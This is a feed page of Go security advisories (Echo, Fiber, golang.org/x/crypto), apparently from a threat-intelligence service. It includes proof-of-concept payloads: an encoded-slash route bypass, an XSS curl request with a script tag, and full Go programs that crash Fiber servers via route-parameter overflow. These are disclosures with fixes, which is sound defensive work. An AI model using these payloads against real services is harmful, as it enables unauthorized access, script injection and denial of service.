Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

46threats · Go· page 1/3
Get guardrails →

Echo: Encoded slash (%2F) bypasses route-level protection and exposes static files

Summary Echo's router and static file handler disagree on URL path decoding. The router matches routes using the raw encoded path (preserving %2F as-is), while StaticDirectoryHandler unescapes %2F to / before resolving filesystem paths. This allows an attacker to bypass route-level access controls and read static files without authorization. Details Root cause 1 — router.go lines 798-802: The router uses req.URL.RawPath for route matching when useEscapedPathForRouting is false (the default). This means /admin%2Fsecret.txt is treated as a single path segment and does NOT match the /admin/* route pattern. ``go if !r.useEscapedPathForRouting && req.URL.RawPath != "" { path = req.URL.RawPath } ` Root cause 2 — echo.go lines 559-568: StaticDirectoryHandler calls url.PathUnescape() on the path parameter before opening files. This converts %2F back to /, resolving admin/secret.txt on disk. `go if !disablePathUnescaping { tmpPath, err := url.PathUnescape(p) p = tmpPath } name := filepath.ToSlash(filepath.Clean(strings.TrimPrefix(p, "/"))) ` PoC (Screenshot) Sample: <img width="1291" height="970" alt="image" src="https://github.com/user-attachments/assets/0bc58059-3e6d-4678-ab25-a5c79b006738" /> 403: <img width="526" height="194" alt="image" src="https://github.com/user-attachments/assets/2f55ffdd-87b2-4a1b-8a13-130ebad0f257" /> Bypass with encoded slash: <img width="592" height="203" alt="image" src="https://github.com/user-attachments/assets/1191cd39-ae8f-4d7e-8fb1-cb9cf31f484f" /> Impact Unauthorized static file disclosure. Applications that protect route prefixes with authentication middleware while also serving static files from a broader root are vulnerable. An attacker only needs to encode the slash (/ → %2F) in the URL to bypass all route-level protection. Common affected pattern: `go adminGroup := e.Group("/admin", authMiddleware) e.StaticFS("/", os.DirFS("public")) ``

OWASP A01OWASP Web
Get guardrail →

GoFiber Vulnerable to X-Real-IP Spoofing via Header.Add() in BalancerForward

Summary The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control. Vulnerable Code File: middleware/proxy/proxy.go, lines 270-285 ``go func BalancerForward(servers []string, clients ...*fasthttp.Client) fiber.Handler { r := &roundrobin{ current: 0, pool: servers, } return func(c fiber.Ctx) error { server := r.get() if !strings.HasPrefix(server, "http") { server = "http://" + server } c.Request().Header.Add("X-Real-IP", c.IP()) // line 282: Add, not Set return Do(c, server+c.OriginalURL(), clients...) } } ` Data Flow 1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP) 2. BalancerForward handler executes at line 282 3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header 4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip> 5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value 6. Upstream uses 10.0.0.1 for all IP-dependent logic Impact Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable Geolocation bypass: IP-based geofencing or region restrictions are circumvented Fix Replace Header.Add() with Header.Set() at line 282: `go c.Request().Header.Set("X-Real-IP", c.IP()) ` Header.Set()` replaces any existing header value, ensuring only the real client IP is forwarded.

golang.org/x/crypto: Invoking VerifiedPublicKeyCallback permissions skip enforcement

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.

OWASP A01OWASP Web
Get guardrail →

golang.org/x/crypto vulnerable to auth bypass via unenforced @revoked status

Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.

OWASP A02OWASP Web
Get guardrail →

golang.org/x/crypto vulnerable to infinite loop on large channel writes

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.

golang.org/x/crypto: FIDO/U2F security key physical presence check can be bypassed

The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.

golang.org/x/crypto: Invoking pathological RSA/DSA parameters may cause DoS

The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.

golang.org/x/crypto: Invoking client can cause server deadlock on unexpected responses

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.

golang.org/x/crypto: Invoking memory leak when rejecting channels can lead to DoS

An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.

golang.org/x/crypto is vulnerable to invoking server panic during CheckHostKey/Authenticate flow

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.

OWASP A02OWASP Web
Get guardrail →

golang.org/x/crypto vulnerable to invoking bypass of certificate restrictions

When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.

OWASP A02OWASP Web
Get guardrail →

golang.org/x/crypto: Invoking byte arithmetic causes underflow and panic

An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.

golang.org/x/crypto doesn't drop invoking agent constraints when forwarding keys

When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

golang.org/x/crypto doesn't enforce invoking key constraints

The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.

golang.org/x/crypto: Invoking pathological inputs can lead to client panic

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.

Go Net HTML parser is vulnerable to denial of service

In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Fiber vulnerable to XSS in AutoFormat Content Negotiation

Summary Description A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12. The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply." Details The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly. The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against. b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied. The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML. ``go // res.go func (r DefaultRes) AutoFormat(body any) error { accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor") r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) } switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } ` Impact This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data. A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path. This may result in: Reflected XSS in the application's origin via any request-derived value reaching AutoFormat. Stored XSS where the reflected value originates from persisted input later passed to AutoFormat. Proposed Patch The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler. Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility. HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper. `go import "html" // ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>") ` html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format(). Proof of Concept `bash Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc Initialize Go module go mod init fiber-xss-poc Install Fiber v3 go get github.com/gofiber/fiber/v3 Create the PoC file cat > main.go << 'EOF' package main import ( "github.com/gofiber/fiber/v3" ) type User struct { ID int json:"id" Name string json:"name" } func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) }) app.Listen(":3000") } EOF Run it go run main.go } ` Benign JSON `bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"} ` HTML sink enables XSS `bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p> ``

OWASP A03OWASP Web
Get guardrail →

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Affected Versions Fiber v3.0.0-rc.3 and earlier v3 releases Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable) Both versions share the same vulnerable routing implementation Vulnerability Details Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go: ``go const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } ` The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write: v3: path.go:514 v2: path.go:516 `go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] ` When paramsIterator >= 30, this triggers: ` panic: runtime error: index out of range [30] with length 30 ` Attack Scenario 1. Application registers route with >30 parameters (e.g., via code or dynamic routing): `go app.Get("/api/:p1/:p2/:p3/.../p35", handler) ` 2. Attacker sends matching HTTP request: `bash curl http://target/api/v1/v2/v3/.../v35 ` 3. Server crashes during request processing with runtime panic Proof of Concept For Fiber v3 `go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ` Output: ` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(App).next(...) /path/to/fiber/router.go:142 ` For Fiber v2 `go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ` Output (v2): ` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127 ` Impact Exploitation Requirements No authentication required Single HTTP request triggers crash Trivially scriptable for sustained DoS Works against any route with >30 parameters Real-World Impact Public APIs: Remote DoS attacks on vulnerable endpoints Microservices: Cascade failures if vulnerable service is critical Auto-scaling: Repeated crashes prevent proper recovery Monitoring: Log flooding and alert fatigue Likelihood HIGH - Exploitation requires only: Knowledge of route structure (often public in APIs) Standard HTTP client (curl, browser, etc.) Single malformed request Workarounds Until patched, users should: 1. Audit Routes: Ensure all routes have ≤30 parameters `bash # Search for potential issues grep -r "/:./:./:." . | grep -v node_modules ` 2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count: `go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } `` 3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact 4. Monitoring: Alert on panic patterns in application logs Timeline 2024-12-24: Vulnerability discovered in v3 during PR #3962 review 2024-12-25: Proof of concept confirmed exploitability in v3 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause) 2024-12-25: Security advisory created References v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) Vulnerable Code Locations: v3: path.go:514 v2: path.go:516 Credit Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure

Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000. On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports. Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4(). Impact includes, but is not limited to: Session fixation or hijacking (predictable session IDs) CSRF token forgery or bypass Authentication replay / token prediction Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption Request-ID collisions, undermining logging and trace integrity General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists. --- Suggested Mitigations / Workarounds Update to the latest version of Fiber v2. --- Likelihood / Environmental Factors It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments. This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability. --- References Upstream advisory for gofiber/utils: GHSA-m98w-cqp3-qcqr Source repositories: github.com/gofiber/fiber github.com/gofiber/utils --- Credits / Reporter Reported by @sixcolors (Fiber Maintainer / Security Team)

golang.org/x/crypto/ssh/agent vulnerable to panic if message is malformed due to out of bounds read

SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.

Showing 1–20 of 46 threats